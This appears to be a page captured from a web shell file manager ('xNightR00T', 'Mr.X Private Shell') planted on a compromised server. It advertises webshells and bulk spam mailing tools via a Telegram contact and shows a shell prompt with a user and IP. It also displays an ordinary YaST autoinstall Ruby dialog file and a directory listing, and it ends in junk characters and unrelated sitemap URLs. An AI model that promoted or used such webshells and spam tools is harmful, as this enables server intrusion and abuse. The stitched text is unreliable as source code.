xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
# encoding: utf-8

# File:	clients/autoinst_storage.ycp
# Package:	Autoinstallation Configuration System
# Summary:	Storage
# Authors:	Anas Nashif<nashif@suse.de>
#
# $Id$
module Yast
  module AutoinstallVolgroupDialogInclude
    def initialize_autoinstall_VolgroupDialog(include_target)
      textdomain "autoinst"

      Yast.include include_target, "autoinstall/common.rb"
      Yast.include include_target, "autoinstall/types.rb"

      Yast.import "AutoinstPartPlan"
      Yast.import "AutoinstDrive"

      # INTERNAL STUFF

      # local copy of current device the user wants to
      # edit using this dialog
      @currentVolgroup = {}
      @currentVolgroupIdx = 999

      @volgroupTypes = ["LVM"]
      @volgroupTypePrefix = "CT_"

      @volgroupPrefix = "/dev/"
      @newVolgroupName = "NewVg"

      @volgroupDialogTitle = _("Edit Volume Group")

      # INITIALIZE DIALOG
      @volgroupType = "volgroup"
      @volgroupDialog = {
        :type         => @volgroupType,
        :display      => lambda { VolgroupDisplay() },
        :eventHandler => lambda { VolgroupEventHandler() },
        :store        => lambda { VolgroupStore() },
        :new          => lambda { VolgroupNew() },
        :delete       => lambda { VolgroupDelete() },
        :check        => lambda { VolgroupCheck() }
      }
      Builtins.y2milestone("adding volgroup dialog to dialog list.")
      addDialog(@volgroupType, @volgroupDialog)
    end

    # SYNCING GUI <-> DATA

    def VolgroupAddTypePrefix(s)
      string2symbol(addPrefix(symbol2string(s), @volgroupTypePrefix))
    end
    def VolgroupRemoveTypePrefix(s)
      string2symbol(removePrefix(symbol2string(s), @volgroupTypePrefix))
    end
    def VolgroupUpdateGUI(d)
      UI.ChangeWidget(
        Id(:vgDevice),
        :Value,
        removePrefix(
          Ops.get_string(@currentVolgroup, "device", "<not-set>"),
          @volgroupPrefix
        )
      ) 
      #    symbol vgType = VolgroupRemoveTypePrefix( currentVolgroup["type"]:`CT_LVM );
      #    UI::ChangeWidget( `id(`vgType), `Value, vgType);

      nil
    end

    def VolgroupUpdateData(vg)
      vg = deep_copy(vg)
      # TODO: device name constraints
      vg = AutoinstDrive.set(
        vg,
        "device",
        addPrefix(
          Convert.to_string(UI.QueryWidget(Id(:vgDevice), :Value)),
          @volgroupPrefix
        )
      )
      #     symbol vgType = VolgroupAddTypePrefix( (symbol)UI::QueryWidget(`id(`vgType), `Value) );
      #      vg = AutoinstDrive::set(vg, "type", vgType );
      deep_copy(vg)
    end

    # GENERAL DIALOG IFACE
    def VolgroupLoad(drive)
      vg = AutoinstPartPlan.getDrive(drive)
      Builtins.y2milestone("loaded drive('%1'): '%2'", drive, vg)
      deep_copy(vg)
    end

    def VolgroupStore
      @currentVolgroup = VolgroupUpdateData(@currentVolgroup)
      AutoinstPartPlan.updateDrive(@currentVolgroup)
      Builtins.y2milestone(
        "updated drive('%1'): '%2'",
        Ops.get_string(@currentVolgroup, "device", ""),
        @currentVolgroup
      )

      nil
    end

    def VolgroupCheck
      @currentVolgroup = VolgroupUpdateData(@currentVolgroup)
      storedVolgroup = AutoinstPartPlan.getDrive(@currentVolgroupIdx)
      if !AutoinstDrive.areEqual(@currentVolgroup, storedVolgroup)
        if Popup.YesNo(_("Store unsaved changes to volume group?"))
          AutoinstPartPlan.updateDrive(@currentVolgroup)
        end
      end
      Builtins.y2milestone(
        "updated drive('%1'): '%2'",
        Ops.get_string(@currentVolgroup, "device", ""),
        @currentVolgroup
      )

      nil
    end

    def VolgroupDisplay
      drive = Ops.get_string(@stack, :which, "")
      Builtins.y2milestone("VolgroupDisplay('%1')", drive)
      @currentVolgroupIdx = Builtins.tointeger(drive)
      @currentVolgroup = VolgroupLoad(@currentVolgroupIdx)

      contents = VBox(
        Heading(@volgroupDialogTitle),
        HVCenter(
          HVSquash(
            VBox(
              TextEntry(Id(:vgDevice), _("Volgroup device name")),
              #`ComboBox( `id(`vgType), _("Type"), toItemList(volgroupTypes)),
              VSpacing(2),
              PushButton(Id(:apply), _("Apply"))
            )
          )
        )
      )
      UI.ReplaceWidget(Id(@replacement_point), contents)
      VolgroupUpdateGUI(drive)

      nil
    end

    def VolgroupEventHandler
      Builtins.y2milestone(
        "VolgroupEventHandler(): current event: '%1'",
        @currentEvent
      )

      nil
    end

    def VolgroupDelete
      drive = Ops.get_string(@stack, :which, "")
      Builtins.y2milestone("VolgroupDelete('%1')", drive)
      AutoinstPartPlan.removeDrive(Builtins.tointeger(drive))

      nil
    end

    def VolgroupNew
      defaultDevice = Ops.add(@volgroupPrefix, @newVolgroupName)
      newDrive = AutoinstPartPlan.addDrive(
        AutoinstDrive.new(defaultDevice, :CT_LVM)
      )
      selectTreeItem(AutoinstDrive.getNodeReference(newDrive))
      Ops.set(
        @stack,
        :which,
        Builtins.tostring(Ops.get_integer(newDrive, "_id", 999))
      )
      VolgroupDisplay()

      nil
    end
  end
end

Filemanager

Name Type Size Permission Actions
AdvancedPartitionDialog.rb File 6.5 KB 0644
DriveDialog.rb File 6.74 KB 0644
PartitionDialog.rb File 23.36 KB 0644
StorageDialog.rb File 8.99 KB 0644
VolgroupDialog.rb File 5.03 KB 0644
ask.rb File 22.33 KB 0644
autoinst_dialogs.rb File 5.23 KB 0644
autopart.rb File 86.81 KB 0644
classes.rb File 18.55 KB 0644
common.rb File 3.17 KB 0644
conftree.rb File 26.49 KB 0644
dialogs.rb File 14.39 KB 0644
general_dialogs.rb File 36.92 KB 0644
helps.rb File 3.46 KB 0644
io.rb File 1.11 KB 0644
script_dialogs.rb File 15.31 KB 0644
tree.rb File 3.52 KB 0644
types.rb File 379 B 0644
wizards.rb File 2.15 KB 0644
xml.rb File 5.92 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml